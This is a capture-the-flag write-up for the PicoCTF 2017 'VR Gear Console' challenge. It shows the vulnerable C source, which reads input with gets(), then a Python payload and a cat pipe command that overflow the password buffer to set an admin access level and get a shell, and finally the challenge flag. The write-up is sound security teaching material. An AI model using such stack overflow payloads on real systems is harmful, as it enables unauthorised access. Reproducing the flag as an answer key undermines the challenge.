Rating:

# Description
Here's the VR gear admin console. See if you can figure out a way to log in. The problem is found here: /problems/1444de144e0377e55e5c7fea042d7f01

# Hints
* What happens if you read in more characters than the length of the username buffer?
* You should look at an ascii table to see what character you need to choose.
* Numbers are stored in little-endian format, which means that the lowest byte of the number is first.
* "cat file - | vrgearconsole " will keep the pipe open for commands.

# Writeup
First, let's ssh to the picoctf server and navigate to the `/problems/1444de144e0377e55e5c7fea042d7f01` directory.

We have 3 files here:
* flag.txt - TXT files
* vrgearconsole - ELF Executable
* vrgearconsole.c - Source code

Nice! We have a source code file! Let's first execute the program, and then we will look at the source.

![image](https://i.imgur.com/YrCXxjy.png)

I see! You have to login, and then what? Let's look at source:

```C
#include <stdlib.h>
#include <stdio.h>

int login() {
int accessLevel = 0xff;
char username[16];
char password[32];
printf("Username (max 15 characters): ");
gets(username);
printf("Password (max 31 characters): ");
gets(password);

if (!strcmp(username, "admin") && !strcmp(password, "{{ create_long_password() }}")) {
accessLevel = 2;
} else if (!strcmp(username, "root") && !strcmp(password, "{{ create_long_password() }}")) {
accessLevel = 0;
} else if (!strcmp(username, "artist") && !strcmp(password, "my-password-is-secret")) {
accessLevel = 0x80;
}

return accessLevel;
}

int main(int argc, char **argv) {
setbuf(stdout, NULL);
printf(
"+----------------------------------------+\n"
"| |\n"
"| |\n"
"| |\n"
"| |\n"
"| Welcome to the VR gear admin console |\n"
"| |\n"
"| |\n"
"| |\n"
"| |\n"
"+----------------------------------------+\n"
"| |\n"
"| Your account is not recognized |\n"
"| |\n"
"+----------------------------------------+\n"
"\n\n\n\n"
"Please login to continue...\n\n\n"
);
int access = login();

printf("Your access level is: 0x%08x\n", access);

if (access >= 0xff || access <= 0) {
printf("Login unsuccessful.\n");
exit(10);
} else if (access < 0x30) {
printf("Admin access granted!\n");
printf("The flag is in \"flag.txt\".\n");
system("/bin/sh");
} else {
printf("Login successful.\n");
printf("You do not have permission to access this resource.\n");
exit(1);
}
}

```

Hmm... So after you login, you get an access level. Interesting. Obviously, we do not know the password of admin to get an access level below `0x30` (admin access level). I have already tried using a buffer overflow to overwrite the return address, and it worked, but then gave a SEGFAULT, so let's try overwriting the access level.

Open the program in gdb and set a break point right before leaving the `login()` function.

![image](https://i.imgur.com/85hwc6l.png)

Now, I will run the program using the username **admin** and password **AAAAAAAA**, so we can calculate a padding in the stack, between the start of the password and the access level (which should be `0x000000ff`, as we saw when we tried running the program and failing to login as admin).

Let's run the program and stop at the break point, right before leaving `login()`.

![image](https://i.imgur.com/M4ZaLva.png)

Here's how the stack looks like now:

![image](https://i.imgur.com/FnPgNVD.png)

As we can see, from the beginning of the password (which is **AAAAAAAA** or `0x41414141 0x41414141`), we need 48 bytes of padding, and right after we can inject a wanted access level like `0x00000001`, which would give us admin privileges.

First, let's create a file in the `/tmp` directory, containing the string **admin** (so we can pass it to stdin when we run the program). I will name my file admin.

![image](https://i.imgur.com/laOLcpH.png)

Now, let's create a script that will generate the string we need to inject into the password field, which is 48 padding bytes (we will use `A`) and right after that, the access level (we will use `0x00000001`). So here's the code that will do this:

```python
import struct;
exploit = "A"*(12*4) + struct.pack("I", 0x00000001);
print(exploit);
```

Extremely simple! Running this program will give us the string we want to inject in the password field, so let's tunnel it to a file. We will use `/tmp/password`.

![image](https://i.imgur.com/rvItRcN.png)

Now, let's pass the **admin** and **password** file to the input of our program, and let's see if it correctly overwrites the access level. We will use cat:

```bash
cat /tmp/admin /tmp/password - | ./vrgearconsole
```

Note: We will use a `-` at the end of cat to keep input open for shell commands after we successfully exploit the program.

![image](https://i.imgur.com/NQOaLhJ.png)

It worked!

**FLAG**: `acdcf692a6209e618b97925c26084ea9`

Original writeup (https://github.com/Prodicode/ctf-writeups/tree/master/PicoCTF%202017/level2/Binary%20Exploitation/VR%20Gear%20Console).